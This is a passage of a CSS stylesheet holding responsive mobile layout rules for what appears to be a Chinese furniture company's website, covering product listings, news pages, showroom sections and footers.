.lxwm-content .ul3 li:nth-of-type(2),.lxwm-content .ul3 li:nth-of-type(3) {
margin-right: 0
}
.lxwm-content .ul3 li:nth-of-type(3) {
width: 100%
}
.lxwm-content .ul3 li img {
height: auto
}
.lxwm-content .title {
font-size: 20px;
margin: 30px 0 10px
}
.lxwm-content .ul3 li span {
display: block;
margin: 0
}
.ab-job .article {
margin: 20px 0 0 0;
width: 100%;
float: none
}
.ab-common .article p {
width: 90%;
margin: 0 auto
}
.ab-common .article .title {
margin: 18px auto;
font-size: 20px
}
.ab-common .img {
float: none;
width: 80%;
margin: 20px auto
}
.joblist {
width: 100%;
margin: 0
}
.joblist .biaoti {
width: 190px;
height: 40px;
margin-bottom: 20px;
line-height: 40px;
font-size: 17px
}
.joblist li {
width: 90%;
margin: 0 auto 20px
}
.joblist .gwzz {
font-size: 16px
}
.joblist li p {
text-indent: 0
}
.ab-common span.spe {
width: 100%;
float: none
}
.about-erjimenu {
display: block!important;
overflow: auto;
border: 0;
top: 46px;
background: #f5f5f5
}
.about-erjimenu .dao{
display: none
}
.about-erjimenu .sanji10{
display: block
}
.about-erjimenu ul {
overflow-x: auto;
width: 980px;
background: 0 0
}
.about-erjimenu li {
/* width: 85px; */
height: 40px;
line-height: 40px
}
.news-main-pro .mianbaoxue01{
display: none;
}
.news-main-pro .mianbaoxue02{
padding-top: 6%;
}
.product-erjimenu li a {
padding: 0!important;
color: #555;
margin-right: 25px!important;
font-size: 12px
}
.about-content .career {
width: 100%;
background: 0 0
}
.about-content .career p {
margin: 0 auto!important
}
.about-content .career .p2 span {
float: none;
width: 60%
}
.mianbaoxue-erji {
margin-top: 55px!important
}
.aboutbody {
padding-top: 0
}
.about-content2 .career .left,.about-content2 .career .right {
width: auto;
display: inline-block;
float: none
}
.about-content2 .career p span {
margin-bottom: 15px
}
.neiye-banner2 img {
width: 140%
}
.about-content2 img {
margin: 20px auto;
width: 100%
}
.about-content2 p {
text-align: left
}
.syhz-content {
margin: 20px auto 50px
}
.syhz-content .left {
width: 100%
}
.syhz-content img.right {
width: 100%
}
.dingzhi-tit-bg {
padding: 15px 20px;
width: 75%
}
.dingzhi-box-bg {
padding: 30px 0 10px
}
.dingzhi-liucheng .time01 {
font-size: 20px;
padding: 0 0 15px;
background-size: 10%;
line-height: 24px
}
.dingzhi-liucheng .p1 {
font-size: 12px;
padding: 7px 0 10px 0;
width: 80%;
margin: auto;
line-height: 18px
}
.dingzhi-liucheng .phone-show {
display: none
}
.dingzhi-liucheng .single-img-01 {
width: 95%;
margin-top: 40px;
margin-left: -20px
}
.dingzhi-liucheng .time03 {
width: 100%;
margin: 15px auto 0 auto
}
.dingzhi-liucheng .time03 li {
width: 83%;
margin: 0 0 10px 10px;
padding: 0 0 10px 14%
}
.dingzhi-liucheng .time03 .t1 {
font-size: 16px;
margin-bottom: 2px
}
.dingzhi-liucheng .time03 span {
left: 2.5%;
top: 20%;
font-size: 22px
}
.dingzhi-liucheng .time04 {
margin: 20px auto 0;
width: 100%;
padding-top: 0
}
.dingzhi-liucheng .time04 li {
float: none;
display: block;
overflow: hidden;
zoom: 1;
width: 73%;
margin: 0 auto 20px;
border: 4px solid #da9e61;
padding-bottom: 20px
}
.dingzhi-liucheng .time04 li .sp {
font-size: 12px;
display: none
}
.dingzhi-liucheng .time04 li img {
width: 24%;
padding: 5% 4%;
float: none
}
.dingzhi-liucheng .time04 .sp1 {
font-size: 14px;
width: 100%;
line-height: 22px;
text-align: center
}
.dingzhi-liucheng .time04 .sp2 {
margin-top: 10px;
padding: 1px 8px
}
.dingzhi-liucheng .time04 .y {
margin: 4px auto 0;
width: 175px;
padding: 0;
float: none
}
.dingzhi-liucheng .songzhuang-img {
width: 100%;
margin: 20px auto
}
.dingzhi-liucheng .qingjing-t {
font-size: 16px;
padding: 10px 0;
margin: 20px 0 15px;
background-size: 55%
}
.dingzhi-liucheng .qingjing-p1 {
width: 80%;
font-size: 14px;
margin: auto
}
.dingzhi-liucheng .qingjing-p2 {
margin: 10px auto 0;
width: 87%;
line-height: 22px;
font-size: 12px
}
.dingzhi-liucheng .qingjing-img {
margin: 15px auto 10px;
width: 98%
}
.dingzhi-liucheng .time03 li:last-child span {
left: 3%
}
#article_top {
height: auto
}
div#article_top_show {
width: 100%;
height: auto
}
div#article_top_show p.pic {
width: 100%;
height: auto;
border: 0
}
div#article_top_show div#text {
width: 100%;
margin: 15px 0 10px 0!important
}
.chanpin-color {
height: auto
}
.chanpin-color p {
float: none
}
.chanpin-color ul {
float: none;
overflow: hidden
}
.chanpin-color li.last {
width: 130px;
line-height: 40px
}
.chanpin-fuwu {
overflow: hidden
}
.chanpin-fuwu li {
width: 20%;
margin-bottom: 20px
}
.chanpin-fuwu .last {
display: block;
margin: 0 auto;
float: none;
clear: left
}
.product-erjimenu {
display: none
}
.product-list-ul {
width: 96%;
padding: 2%;
margin-top: 0
}
.product-list-ul .ul {
width: 100%
}
.product-list-ul .ul .list-li {
width: 47%;
margin: 2.5% 1%;
height: 168px
}
.product-list-ul .ul .list-li img {
height: 110px
}
.product-list-banner img {
width: 700px;
margin-left: -245px
}
.inner-menu {
width: 100%;
margin-top: 0
}
.dede_pages .pagelist li {
margin: 10px 5px 0 0
}
.product-des-public {
padding: 10px 0;
width: 100%
}
.product-des-public .des-public,.product-des-public .des-public:first-child {
width: 95%
}
div#article_body div#right div#article_theme {
width: 100%;
margin-bottom: 20px
}
.index-anli ul li span {
margin: 14px 0 5px 0
}
.h2_com,.index-xinpin .text h2 {
font-size: 18px;
margin: 20px auto 5px
}
.dingzhi-anli-list .list-li2 span,.import_news .ptfa .c3 {
font-size: 14px;
display: block;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
margin-top: 5px
}
.pro_main ul li.list-li p {
line-height: 34px;
height: 34px
}
.product-list-ul .ul .list-li .img,.slideTxtBox ul li .img {
height: 105px
}
div#article_body {
width: 100%;
margin-bottom: 0
}
.product-des-public .des-public {
padding: 0 2%;
margin-bottom: 15px
}
.product-des-public .des-public,.product-des-public .des-public:first-child {
width: 96%
}
#art_body span {
padding: 0
}
#art_body div {
width: 100%!important;
background-size: 100% auto!important;
padding-left: 0!important
}
#art_body div img {
width: 100%!important
}
.chanpin-newcommon-body ul {
padding: 0 0 10px 0
}
.chanpin-newcommon-body ul li {
width: 31%;
margin: 0 2.5% 3% 0;
min-height: 195px
}
.chanpin-newcommon-body li p {
padding: 0
}
.chanpin-newcommon-body .biaoti {
font-size: 20px;
margin-bottom: 5px
}
.chanpin-newcommon-body .des-friend-list li {
width: 33%
}
.chanpin-newcommon-body .des-friend-list li img {
width: 100%;
height: auto
}
.samerecommend {
margin: 20px auto
}
.why_pic img {
width: 170%
}
.product-des-public .des-public {
line-height: 22px;
width: 96%
}
.chanpin-newcommon-body .biaoti2 {
font-size: 16px
}
.chanpin-newcommon-body .p {
font-size: 12px;
line-height: 24px;
width: 81%
}
.mianbaoxue-sanji {
margin-top: 55px!important
}
.chanpin-newcommon-body li .title {
font-weight: 700;
font-size: 13px;
margin: 10px 0 5px 0
}
.samerecommend .tuijianlist li a:first-child {
width: 100%
}
#text .title {
margin-left: 10px
}
.chanpin-detail {
margin: auto
}
.chanpin-detail p {
width: 100%
}
.chanpin-fuwu li {
width: 15%;
margin-right: 1.1%
}
#old-prod-inner {
width: 100%
}
#old-prod-inner>div {
width: 94%!important;
padding: 3%!important
}
#old-prod-inner>div div {
width: 100%!important;
background-size: 100%!important;
padding: 0!important
}
#old-prod-inner>div img {
width: 100%!important;
height: 100%!important
}
.prod-chejian {
margin-bottom: 20px
}
.prod-service {
margin: 20px auto;
height: 310px
}
.prod-service .w2 {
width: 96%;
left: 0;
margin-left: 0;
top: 20px
}
.prod-service p {
line-height: 24px;
font-size: 16px;
font-weight: 400
}
.prod-service .w2 img {
margin: 15px auto 20px;
width: 100%
}
.prod-service a {
margin-bottom: 0
}
.prod-service .innerimg {
width: 940px
}
.prod-service a {
padding: 5px 10px;
font-size: 12px;
line-height: 22px
}
.img-center img {
width: 100%
}
.prod-detail {
margin-top: 20px
}
.prod-detail li {
margin-bottom: 20px;
width: 100%;
overflow: hidden;
zoom: 1
}
.prod-detail li img {
width: 50%;
float: left;
margin-top: 10px
}
.prod-detail li span {
width: 44%;
padding: 1% 3%;
font-size: 12px;
line-height: 22px;
float: left
}
.prod-detail2 {
margin-top: 20px
}
.prod-detail2 li {
margin: 0 0 4% 0;
width: 100%
}
.prod-detail2 li img {
width: 35%
}
.prod-detail2 li span {
font-size: 12px;
line-height: 22px;
width: 56%;
padding: 1% 4.5%;
text-align: justify
}
.prod-tit {
font-size: 20px;
margin-bottom: 20px
}
.prod-share {
margin: 0 auto 20px auto
}
.prod-share,.prod-zuhe {
padding: 20px 0
}
.prod-share>img {
width: 100%
}
.prod-chejian .w2 {
width: 96%;
left: 0;
margin-left: 0;
top: 20px
}
.prod-chejian p {
margin: 0 auto 15px;
width: 100%
}
.prod-chejian .prod-tit {
margin-bottom: 10px;
font-size: 20px
}
.prod-chejian p {
font-size: 12px;
width: 100%;
line-height: 24px
}
.prod-chejian a {
padding: 5px 15px;
font-size: 12px;
line-height: 20px;
margin-top: 17px
}
.prod-chejian>img {
width: 1090px
}
.prod-baozhuang {
margin: 20px auto
}
.prod-baozhuang a {
padding: 5px 15px;
font-size: 12px;
margin-bottom: 20px;
width: 80%
}
.prod-baozhuang>img {
width: 100%
}
.prod-mianze,.prod-ques,.prod-tuijian {
margin: 0 auto 20px auto
}
.prod-zuhe {
padding: 10px 0 20px 0;
margin: 20px auto
}
.prod-zuhe .prod-tit {
margin-bottom: 15px
}
.prod-zuhe .box {
width: 99%;
padding: 1% 1%;
text-align: center
}
.prod-zuhe .box a {
width: 30%;
display: inline-block;
margin-top: 10px
}
.prod-zuhe .box img {
width: 100%
}
.prod-zuhe .box span {
margin: 0 7px;
font-size: 20px
}
.prod-zuhe .box>p {
padding: 4% 0 0 2%;
width: 80%;
float: none;
margin: auto;
border: none
}
.prod-zuhe .box .span1 {
font-size: 14px;
margin: 0
}
.prod-zuhe .box .span2 {
font-size: 14px
}
.prod-zuhe .box>p a {
margin: 10px auto;
font-weight: 400;
font-size: 16px;
width: 120px;
height: 36px;
line-height: 36px
}
.prod-ques .prod-tit {
margin-top: 0;
margin-bottom: 10px
}
.prod-ques .zixun {
font-size: 13px;
margin-bottom: 20px;
padding: 10px
}
.prod-ques .ques-list p {
line-height: 26px;
font-size: 14px;
text-indent: 0;
padding: 10px 0 10px 40px
}
.prod-ques .qq {
background: #f4f4f4 url(../images/qq.png) no-repeat 5px center;
background-size: 8%
}
.prod-ques .aa {
margin-left: 0;
background: url(../images/aa.png) no-repeat 5px center;
background-size: 8%
}
.prod-mianze>img {
width: 1100px
}
.prod-mianze .prod-tit {
padding-top: 20px;
margin-bottom: 10px
}
.prod-mianze span {
padding: 4px 8px;
font-size: 13px;
margin: 0
}
.prod-mianze a {
font-size: 13px;
line-height: 30px;
width: 105px;
margin-top: 15px
}
.mianze-down {
width: 100%;
margin: 18px auto 0
}
.mianze-down .youbian,.mianze-down .zuobian {
width: 90%;
padding: 0 4%
}
.mianze-down dd,.mianze-down p {
font-size: 12px;
line-height: 24px
}
.mianze-down .tit,.mianze-down dt {
font-size: 16px
}
.mianze-down dt,.mianze-down dt:first-child {
margin-top: 15px
}
.ww>.allimg {
width: 165%;
margin-left: -33%
}
#dzal_banner {
margin-top: 0
}
.zhantingbox-huisebg {
margin: 15px 0;
height: 210px
}
.zhantinginner01 {
width: 100%
}
.zhantingbox01 {
margin-bottom: 0
}
.zhantingbox01 .title02 {
font-size: 20px;
font-weight: 400
}
.zhantingbox01 p {
font-size: 12px;
line-height: 22px;
padding: 0 2%;
width: 96%
}
.zhantingbox01 .title01 {
font-size: 16px
}
.zhantinginner01 img {
display: none
}
.commencontent {
width: 100%;
margin-top: 20px
}
.zhanting-list .left {
width: 100%;
float: none;
overflow: hidden
}
.zhanting-list .right {
width: 100%;
float: none;
text-align: center
}
.zhanting-list .right img {
padding: 10px 0
}
.commencontent .right .title {
margin: 10px 0
}
.commencontent .right p {
padding-left: 0
}
.zhantingbox02 {
height: 100px!important
}
.commencontent>img {
width: 100%
}
.zhantingbox03 {
height: 170px!important
}
.zhantinglistone {
background: 0 0
}
.zhantinglist li {
width: 60%;
height: auto;
float: none;
margin: 0 auto 15px
}
.zhantinglist li:last-child {
margin: 0 auto
}
.zhantinglist_bangongshi li,.zhantinglistspecial li {
width: 33%;
float: left
}
.zhantinglist span {
width: 110px;
height: 26px;
line-height: 26px;
font-size: 12px;
margin: 0;
border: 0;
color: #333
}
.zhantinglist_bangongshi li img,.zhantinglistspecial li img {
width: 90%
}
.zhantinglist_bangongshi02 {
margin: 15px 0 0 0
}
.zhantinglist a img {
margin-top: 5px
}
.bangongshi-list {
display: none
}
.zhantinglistspecial {
margin-top: 0
}
.ztbanggongshi-huisebg01 {
height: 160px
}
.main-content {
width: 96%;
padding: 2%
}
.bangongshi-list-02 {
height: auto
}
.bangongshi-list-02 li {
width: 49%;
height: auto
}
.bangongshi-list-02 li:first-child {
width: 100%;
height: auto
}
.bangongshi-list-02 li img {
height: auto
}
.bangongshi-box01 {
margin-top: 10px
}
.bangongshi-box01 .left,.bangongshi-box01 .right {
width: 100%
}
.bangongshi-box01 .left {
margin-bottom: 20px
}
.bangongshi-box01 h6 {
padding: 10px 0;
font-size: 16px
}
.bangongshi-box01 p {
padding-left: 0
}
.bangongshi-box01 .left-box01 {
width: 40%;
padding: 3px 15px;
height: 110px;
margin: 15px 15px 0 0;
font-weight: 400
}
.bangongshi-box01 .left-box02 {
margin-top: 15px;
height: auto
}
.bangongshi-box01 .left,.bangongshi-box01 .right {
text-align: center
}
.bangongshi-box01 .left img,.bangongshi-box01 .right img {
width: 80%
}
.bangongshi-box01 .left .left-box02 img,.bangongshi-box01 .right .left-box02 img {
width: 100%
}
.bangongshi-box01 .bangongshi-left-ul li img {
width: 100%
}
.honorlist li {
width: 48%
}
.zhantinglist_bangongshi {
margin-bottom: 5px
}
.ztxuexiao-huisebg01 {
height: 160px
}
.main-content {
margin-top: 10px!important;
font-size: 13px
}
.bangongshi-list-02 li:first-child {
margin-right: 0
}
.xuexiao-box01 p {
padding: 0
}
.xuexiao-box01 .left a {
float: left
}
.canyin-list2 {
height: auto
}
.canyin-list2 .left {
width: 80%;
float: none;
margin: 0 auto
}
.canyin-list2 .right {
width: 100%
}
.canyin-list2 .right .p1,.canyin-list22 .p1 {
font-size: 16px
}
.canyin-list2 .right .text {
margin-bottom: 30px;
width: 42%;
height: 145px
}
.canyin-list2 .right .special .p2 {
margin: 8px 0 0 0
}
.canyin-list22 li {
width: 32%
}
.canyin-list22 li:nth-child(3),.canyin-list22 li:nth-child(7) {
margin-right: 0
}
.canyin-list22 .special {
width: 96%;
height: 100px;
margin-bottom: 20px;
padding: 2%
}
.canyin-list22 .special a {
display: block;
overflow: hidden
}
.canyin-list22 .special img {
width: 80%;
margin-top: -70px
}
.honorlist {
height: 170px
}
.huodong-list {
width: 100%;
margin: 20px auto 0
}
.pro_main ul li.list-li {
width: 48%;
margin: 0 3% 3% 0
}
.pro_main ul li.list-li:nth-child(2n) {
margin-right: 0
}
.huodong-list ul li.list-li .img {
height: 89px
}
.pro_main ul li.list-li span {
margin: 8px 0 15px 0
}
.pingfengzhuanqu .box01 .left {
width: 100%;
height: auto;
margin-top: 0
}
.pingfengzhuanqu .box01 .left .f24 {
font-size: 20px;
margin: 15px 0 10px
}
.pingfengzhuanqu .box01 .left .f12 {
font-size: 12px
}
.pingfengzhuanqu .box01 .right {
width: 100%;
margin-top: 10px
}
.pingfengzhuanqu .list01 {
margin-top: 20px
}
.list01 li p {
height: 40px;
font-size: 14px;
margin-bottom: 0;
border: 0
}
.pingfenglist02 {
margin-top: 20px
}
.pingfenglist02 .left,.pingfenglist02 .leftt {
margin-right: 0;
width: 100%
}
.pingfenglist02 .left li {
margin-right: 4%
}
.pingfenglist02 .left li.first,.pingfenglist02 .leftt li.first {
padding-top: 10px;
height: 130px
}
.pingfenglist02 .p1 {
font-size: 20px
}
.pingfenglist02 .left li p,.pingfenglist02 .leftt p {
margin: 10px 0 13px 0
}
.anlibox .anlibox001 {
width: 100%;
margin: 0
}
.anlibox001 img {
width: 47%
}
.f28 {
font-size: 20px
}
.huisecommon {
padding-top: 0;
height: 160px;
margin: 20px 0
}
.huisecommon p .smalltitle {
font-size: 18px
}
.bangongzhuozhuanqu .zhiyuan {
height: auto;
line-height: 50px
}
.bangongzhuozhuanqu .zhiyuan a {
font-size: 20px
}
.bangongzhuozhuanqu .pingfenglist022 {
padding-top: 15px;
width: 100%;
margin-top: 0
}
.bangongzhuozhuanqu .leftt li {
margin-bottom: 0
}
.pingfenglist02 .left li p,.pingfenglist02 .leftt p {
margin: 8px 0 13px 0
}
.f14 {
font-size: 12px
}
.bangongzhuozhuanqu .banggongzhuozhuanqu002 {
width: 96%;
text-align: center
}
.bangongzhuozhuanqu .banggongzhuozhuanqu002 .left img {
width: 80%
}
.banggongzhuozhuanqu002 .left,.banggongzhuozhuanqu002 .leftt {
width: 50%
}
.bangongzhuozhuanqu .chair,.pingfenglist02 .left,.pingfenglist02 .leftt {
overflow: hidden;
zoom: 1;
height: auto
}
.banggongzhuozhuanqu002 .leftt li {
width: 47%;
margin-right: 6%
}
.bangongzhuozhuanqu .chair {
height: auto
}
.bangongzhuozhuanqu .chair li {
width: 23.5%;
margin-right: 2%
}
.content_banner {
width: 100%
}
div#helpBody,div#textList {
width: 100%
}
div#textList .zhinan dd,div#textList .zhinan dt,div#textList dl {
width: 100%
}
div#textList .zhinan dd {
line-height: 40px
}
#helpcenter {
width: 100%
}
#helpcenter img {
width: 60%;
margin: 8px 0 10px 0
}
#helpcenter p {
font-size: 12px;
line-height: 24px;
padding: 0 4%
}
div#textList .zhinan dt {
background: #f5f5f5;
border-top: 1px solid #dedede
}
#helpcenter .spe-img {
width: 30%
}
.news-main-pro {
width: 96%;
padding: 2%
}
.news-erji-menu {
overflow: auto;
height: 41px
}
.phone-common-title {
display: block;
width: 80%;
height: 45px;
line-height: 45px;
text-align: center;
font-size: 18px;
color: #333;
background: #fafafa;
padding: 0 10%;
margin: 0 auto;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
border-bottom: 1px solid #f5f5f5
}
.phone-show-icon {
top: 15px;
display: block;
position: absolute;
left: 20px;
width: 20px;
height: 20px;
z-index: 9999
}
.phone-show-icon img {
width: 55%
}
.news-erji-menu ul {
overflow-x: auto;
width: 860px
}
.news-body {
padding: 0 10px
}
.news-body img {
width: 100%!important;
height: auto!important;
margin: 0
}
.swiper-container .content-slide div {
margin: 10px 0 15px;
padding: 0 10px
}
.swiper-container .content-slide div img {
display: none
}
.swiper-container .content-slide div p {
margin-top: 5px;
margin-left: 0;
height: auto
}
.swiper-container .content-slide div span {
font-size: 14px!important;
font-weight: 400!important;
color: #333;
margin-left: 0!important;
display: block;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
width: 99%
}
.swiper-container .content-slide div span:nth-of-type(2) {
margin-top: -15px
}
.news-list-right {
display: none
}
.pagelist-2 li {
margin-bottom: 10px
}
.news-erji-menu li {
width: 95px;
height: 40px;
line-height: 40px;
border-bottom: 1px solid #eee
}
.w_fl {
width: 100%;
border: 0;
margin-top: 10px;
padding: 0
}
.w_fl222 {
width: 100%;
padding: 0!important
}
.w_fl222 .title {
font-size: 17px;
padding: 0 10px;
font-weight: 700;
color: #000
}
.news-body div {
font-size: 14px
}
.w_fl222 .time {
margin-top: 10px;
padding: 0 10px;
line-height: 20px
}
.w_fl222 .des {
margin: 10px 0;
padding: 3px 10px 3px 10px;
border: 1px solid #000;
border-radius: 5px
}
.w_fl222 .next-pre {
margin: 0 0 20px 0;
padding-right: 0
}
.news-body .gwb2 span {
font-size: 14px;
position: relative;
left: 0;
bottom: 0;
margin-left: 0;
padding: 11px 25px
}
.news-body .gwb2>img {
margin-bottom: 20px
}
.link-article .link-article-content ul li {
float: none;
width: 100%;
text-indent: 1.5em
}
.phone-footer {
background: #eee;
padding: 15px 0;
margin-bottom: 95px
}
.phone-footer p {
text-align: center;
width: 84%;
margin: 0 auto
}
.phone-footer .p1 {
overflow: hidden;
margin-bottom: 5px;
width: 94%
}
.phone-footer .p1 a {
font-size: 14px;
display: inline-block;
padding: 5px 9px;
margin: 0
}
.phone-footer .p1 a:first-child {
border-right: 0
}
.phone-footer .p1 a:last-child {
border-left: 0
}
.phone-footer .p2 {
font-size: 11px;
line-height: 20px;
margin-bottom: 15px;
width: 83%
}
.phone-footer .p3 {
font-size: 12px;
width: 100%;
margin-bottom: 5px
}
.phone-footer .p4 {
font-size: 10px;
color: #999;
line-height: 16px;
width: 90%
}
.phone-footer2 {
background: rgba(255,255,255,.95);
width: 100%;
position: fixed;
bottom: 0;
left: 0;
padding: 10px 0 2px;
height: 45px;
z-index: 999
}
.phone-footer2 ul {
overflow: hidden;
zoom: 1
}
.phone-footer2 li {
float: left;
width: 12%;
text-align: center;
padding: 0px 4%;
margin: -3px 0%;
}
.phone-footer2 li img {
margin-bottom: 3px;
width: 20px;
height: auto
}
.phone-footer2 li a {
font-size: 12px;
display: block;
line-height: 14px;
color: #535353;
margin-top: 2px
}
.phone-product-list {
width: 100%
}
.phone-product-list dt a {
font-size: 20px;
color: #111;
line-height: 42px;
padding-left: 4%
}
.phone-product-list dd {
overflow: hidden;
zoom: 1
}
.phone-product-list dd a {
font-size: 15px;
color: #666;
background: #f4f4f4;
display: inline-block;
float: left;
width: 44%;
margin-right: 4%;
line-height: 36px;
margin-bottom: 3%;
padding-left: 4%
}
.phone-product-list dd a:nth-of-type(2n) {
margin-right: 0
}
.w8 {
width: 375px;
overflow-x: scroll
}
.news-area {
width: 1080px
}
.prod-detail-1 {
margin-top: 20px;
padding-top: 20px!important
}
.prod-detail-1 li {
margin-bottom: 20px;
width: 100%;
overflow: hidden;
zoom: 1
}
.prod-detail-1 li img {
width: 50%!important;
float: left
}
.prod-detail-1 li span {
width: 44%;
padding: 0 3% 1%;
font-size: 12px;
line-height: 22px;
float: left
}
.prod-detail-2 {
margin-top: 20px
}
.prod-detail-2 li {
margin: 0 0 4% 0;
width: 100%
}
.prod-detail-2 li img {
width: 35%
}
.prod-detail-2 li span {
font-size: 12px;
line-height: 22px;
width: 56%;
padding: 0 4.5% 1%;
text-align: justify
}
.prod-mianze-1 .prod-tit {
padding-top: 20px;
margin-bottom: 10px
}
.prod-mianze-1 span {
padding: 4px 8px;
font-size: 13px;
margin: 0;
color: #222
}
.mianze-down-1 {
width: 100%;
margin: 18px auto 0
}
.mianze-down-1 .youbian-1,.mianze-down-1 .zuobian-1 {
width: 90%;
padding: 0 4%
}
.mianze-down-1 dd,.mianze-down-1 p {
font-size: 12px;
line-height: 24px
}
.mianze-down-1 .tit-1,.mianze-down-1 dt {
font-size: 16px
}
.mianze-down-1 dt,.mianze-down-1 dt:first-child {
margin-top: 15px
}
.prod-mianze-1 {
margin: 0 auto 20px auto
}
.prod-service .prod-service-con li.prod-service-sec {
float: none;
margin: 0 auto 12px;
width: 96%
}
.prod-service .prod-service-con {
padding: 0
}
.fl-n {
width: 20%
}
.fl-n img {
width: 100%
}
.prod-service {
height: auto!important
}
.h2-title {
margin-left: 25%;
font-size: 16px;
padding: 0;
line-height: 30px
}
.prod-service p.prod-p {
margin-left: 25%;
font-size: 12px
}
.prod-detail-2,.prod-px,.prod-safe {
margin-top: 0
}
.prod-title1 {
font-size: 16px;
padding: 0
}
.prod-title2 {
font-size: 14px;
padding: 0
}
.prod-safe li img {
width: 50%;
float: left
}
.prod-safe li span {
width: 44%;
padding: 0 3% 1%;
font-size: 12px;
line-height: 22px;
float: left;
text-align: justify
}
.prod-ques .aa,.prod-ques .qq {
background-image: none
}
.prod-ques .ques-list p {
padding: 10px 0 10px 10px
}
.prod-service {
display: none
}
.w-spe {
width: 330px;
height: 160px
}
.ali {
margin-top: 10px
}
.ali ul {
width: 880px
}
.ali ul img {
width: 110px
}
.ali ul li {
width: 110px
}
.ali ul li:hover .ali-div {
bottom: 20px
}
.ali ul li .ali-div {
bottom: 20px
}
.ali ul li .ali-div img {
width: 27px
}
.ali ul li .ali-div p.item-l {
line-height: 15px
}
.ali ul li .ali-div p.item-t {
font-size: 12px;
margin-bottom: 35px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
.ali ul li .ali-div p.item-p {
display: none
}
.ali ul li .ali-div span {
display: none
}
.ali-next,.ali-prev {
line-height: 160px;
width: 20px;
display: block
}
.ali-next img,.ali-prev img {
width: 10px
}
.zt-wrapper .zt-banner {
margin-top: 0
}
.zt-wrapper .zt-content {
padding: 20px 15px 0
}
.zt-wrapper .zt-item-text img {
width: 100%
}
.zt-wrapper .zt-content .zt-item-title {
padding-bottom: 20px;
font-size: 24px
}
.zt-wrapper .zt-item-text .zt-item-des {
width: 100%
}
.quest .index-new-qiehuan {
width: 100%!important;
float: none;
overflow: hidden;
margin-bottom: 20px
}
.quest .bd .index-xinwen-list .img {
display: none
}
.quest .bd .index-xinwen-list .text {
width: 100%
}
.quest .index-new-qiehuan .hd {
overflow: auto;
height: 34px
}
.quest .index-new-qiehuan .hd ul {
width: 785px
}
.quest .hd li h3 {
font-size: 14px
}
.quest .hd li {
width: 90px;
line-height: 34px;
height: 34px
}
.quest .fr {
float: none;
margin-top: 20px
}
.slideTxtBox_2 .askk {
width: 100%
}
.quest .index-new-qiehuan .bd {
width: 100%!important
}
.quest .bd .index-xinwen-list {
padding: 20px 20px 0
}
.quest .bd .index-xinwen-list li:nth-child(odd) {
margin-right: 70px
}
.quest .bd .index-xinwen-list li {
margin: 0 70px 15px 0
}
.quest .index-new-qiehuan,.quest .index-new-qiehuan .bd {
height: 390px
}
.slideTxtBox_2 .askul li .text {
width: 90%
}
.news-list-right,.w_fl {
float: none
}
.tc {
margin: 0 10px
}
.news-list-right ul {
width: auto
}
.news-list-right h3 {
width: auto;
margin: 0
}
.news-list-right li img {
width: 160px
}
.news-list-right li p {
width: 140px
}
.news-list-right {
display: block;
width: 100%;
margin: 0 0 50px 0
}
.cf {
margin: 0;
float: none
}
.zhekou {
margin: 0;
width: 100%
}
.zhekou img {
width: 100%;
height: auto
}
.w-1228 {
width: 100%
}
.im-big-img {
height: 180px
}
.im-big-img .im-big-img-banner li div {
left: 10%;
top: 25%
}
.im-big-img .im-big-img-banner li div h2 {
font-weight: 700;
font-size: 20px;
line-height: 22px
}
.im-big-img .im-big-img-banner li div p {
font-size: 12px;
padding-top: 10px;
width: 90%;
line-height: 16px
}
#inner-container {
padding: 0 5px
}
#inner-container .title {
width: 220px!important;
font-size: 24px
}
#inner-container .inner-title {
height: auto;
line-height: 30px
}
#inner-container .advantages .adv-c {
padding-top: 30px
}
#inner-container .advantages .adv-c li {
float: none;
width: 100%;
padding: 10px 0
}
#inner-container .about-co-c ul li {
height: 512px
}
#inner-container .about-co-c ul li .co-tit {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
#inner-container .in-tit-p {
line-height: 22px;
margin-top: 10px
}
.company {
padding: 0 5px
}
.company .com-title {
font-size: 24px;
line-height: 30px;
margin: 70px 0 30px
}
.company .com-intro .com-intro-c ul li {
border-right: 1px #f2f3f3 solid;
line-height: 60px;
font-size: 18px
}
.company .com-intro .com-intro-c p {
margin-top: 40px
}
.company .com-adv .com-adv-c-l {
width: 30%
}
.company .com-adv .com-adv-c-l li.on {
line-height: 20px;
height: 60px;
padding: 0 11px
}
.company .com-adv .com-adv-c-l li {
line-height: 20px;
height: 62px;
padding: 0 9px 0 13px;
display: flex;
align-items: center;
justify-content: space-around;
flex-direction: column
}
.company .com-adv .com-adv-c-r {
width: 70%;
padding: 0;
height: 424px;
overflow: auto
}
.company .com-adv .com-adv-c-r li {
padding: 20px
}
.spe-tit {
margin: 0
}
.chejian-service ul li {
width: 48%;
margin: 0 4% 20px 0;
padding: 50px 35px 60px
}
.chejian-service ul li:nth-of-type(2n) {
margin-right: 0
}
.chejian-service ul li p {
font-weight: 400
}
.neiye-banner2 .contact-us-text {
top: 20%
}
.neiye-banner2 .contact-us-text h2 {
font-size: 16px;
padding: 0;
font-weight: 700
}
.neiye-banner2 .contact-us-text .des {
font-size: 12px;
padding: 0
}
.neiye-banner2 .contact-us-text .tel {
font-size: 14px
}
.lianxi {
text-align: center;
border-bottom: 0
}
.lianxi p {
width: 100%;
padding: 10px 0;
border-bottom: 1px dotted #ccc;
border-left: 0;
border-right: 0;
text-align: left
}
.web-list ul li {
width: 48%;
float: left;
margin: 0 4% 20px 0;
box-sizing: border-box
}
.web-list ul li:nth-of-type(2n) {
margin-right: 0
}
.web-list ul li:nth-of-type(5n) {
margin-right: 4%
}
.web-list ul li:nth-of-type(10n) {
margin-right: 0
}
.contact-box {
display: none
}
.w-mc {
width: 92%;
margin: 0 auto
}
.w-880 {
width: 100%
}
.main-content-new {
margin-top: 30px
}
.main-content-new .mc-time {
font-size: 14px
}
.main-content-new .mc-body img {
width: 88%!important;
height: 188px;
}
.mc-price-body .mc-input-item label {
text-align: center;
margin-bottom: 20px
}
.mc-introduce .mc-small-title {
font-size: 22px
}
.mc-introduce .mc-img-zt ul li {
float: none;
width: 100%!important;
margin: 0 0 10px 0
}
.mc-bg-product .mc-bg-p-body ul li {
width: 49%;
margin-right: 2%
}
.mc-bg-product .mc-bg-p-body ul li:nth-of-type(2n) {
margin-right: 0
}
.mc-bg-product .mc-bg-p-body ul li {
max-height: 180px;
height: auto
}
.mc-bg-product .mc-bg-p-body ul li .img-wrap {
height: 130px
}
.mc-price-body .mc-input-item input {
padding: 0;
height: 32px;
